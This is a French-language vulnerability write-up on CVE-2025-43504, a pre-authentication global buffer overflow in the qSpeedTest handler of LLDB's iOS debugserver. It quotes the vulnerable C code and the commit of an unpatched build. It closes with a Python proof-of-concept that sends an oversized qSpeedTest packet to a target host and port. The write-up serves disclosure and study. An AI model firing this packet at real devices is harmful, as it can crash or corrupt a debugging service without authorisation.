
Analyse technique approfondie de CVE-2025-43504, un débordement de tampon global à distance pré-authentification dans debugserver de LLDB pour iOS, avec code PoC et analyse d'exploitation.
En grandissant, j'adorais fouiller dans les bacs à DVD de mon Walmart local. J'ai remarqué que beaucoup des mêmes films restaient sur le dessus, mais si l'on creusait un peu, on trouvait des titres plus intéressants et plus pointus.
Quand un programme fait déborder un tampon, on plonge en quelque sorte la main dans son bac à soldes. Selon jusqu'où l'on va, les DVD — ou, dans ce cas précis, les structures écrasées en mémoire — peuvent changer.
Le /bin du jour est CVE-2025-43504 : un débordement de tampon global à distance avant authentification que j'ai trouvé dans debugserver de LLDB.
Pendant le développement d'applications, les développeurs ont souvent besoin de déboguer leur application sur un appareil iOS physique. Pour ce faire, Xcode monte une image disque de développement sur l'iPhone cible, puis s'y apparie.
Une fois l'appairage effectué, l'hôte macOS peut communiquer avec le client iOS à l'aide du debugserver installé sur le client. Dès lors, tout client capable d'établir une session GDB-remote avec le debugserver de l'appareil peut atteindre le gestionnaire qSpeedTest et faire déborder le tampon vulnérable.
Examinons la page des notes de sécurité de Xcode 26.1 pour mieux comprendre comment Apple a catégorisé CVE-2025-43504 :

En raison des mitigations logicielles modernes, Apple considère les débordements de tampon comme relevant principalement d'un problème de déni de service plutôt que d'une primitive de corruption. Comme nous allons l'explorer aujourd'hui, c'est généralement vrai : un attaquant devra surmonter plusieurs obstacles et probablement associer ce problème à un autre bug pour parvenir à une exécution de code arbitraire.
Si vous souhaitez expérimenter avec une version non corrigée de debugserver, utilisez le commit suivant ou tout commit antérieur à ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de :
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Avant le correctif dans RNBRemote.cpp, tout utilisateur distant capable de se connecter au debugserver d'un appareil iOS pouvait envoyer un paquet qSpeedTest avant authentification à RNBRemote::HandlePacket_qSpeedTest et corrompre les structures adjacentes dans le segment de données global de debugserver.
Cependant, il y a une réserve importante : nous ne contrôlons que la longueur de la corruption. Le contenu de la charge utile est fixé à un flux de caractères 'a'. Si les étudiants apprécient les notes constamment élevées, l'utilité pratique de ce débordement est grandement limitée par le fait que nous ne pouvons pas contrôler les octets réellement écrits — seulement jusqu'où s'étend le déluge de 'a'.
Maintenant, regardons sous le capot de RNBRemote::HandlePacket_qSpeedTest pour voir exactement ce qui se passe :
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
Le rôle de RNBRemote::HandlePacket_qSpeedTest() est de traiter les paquets entrants qSpeedTest:response_size:<hex>; sans exiger d'authentification de la part d'un utilisateur distant capable de communiquer avec le binaire debugserver de l'appareil iOS.
Cependant, dès qu'un utilisateur distant est en mesure d'envoyer un paquet qSpeedTest:response_size:<hex>; à debugserver, aucune vérification d'authentification n'est effectuée dans debugserver avant le traitement du response_size fourni par l'utilisateur. Par conséquent, tout utilisateur capable de communiquer avec un appareil iOS sur lequel est montée une image disque de développement peut faire déborder debugserver via un paquet qSpeedTest:response_size:<hex>;.
Maintenant que nous avons atteint la fonction vulnérable RNBRemote::HandlePacket_qSpeedTest(), examinons exactement comment le débordement se produit. Tout d'abord, la taille <hex> fournie par l'utilisateur dans le paquet qSpeedTest:response_size:<hex>; est extraite et stockée dans la variable response_size :
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Si l'analyse réussit et que le caractère suivant est un point-virgule, un tampon statique local à la fonction de 4 Mio + 16 octets g_data est initialisé et amorcé avec l'en-tête ASCII "data:" :
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
En assemblant le tout, memset remplit ensuite le tampon statique de 4 Mio + 16 octets g_data avec des 'a', en utilisant la valeur response_size contrôlée par l'utilisateur comme nombre de 'a' à écrire.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Par conséquent, chaque fois qu'un client LLDB distant envoie un paquet qSpeedTest:response_size:<hex>; avec un response_size supérieur à la taille du tampon de 4 Mio + 16 octets, un débordement de tampon se produit et corrompt les variables globales adjacentes stockées dans le segment de données global (.bss) de debugserver.
Maintenant que nous comprenons l'architecture derrière le débordement, plongeons dans les mécanismes réels de la vulnérabilité. Pour commencer, utilisons le programme Python suivant pour explorer les primitives de corruption obtenues grâce au débordement de g_data :
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass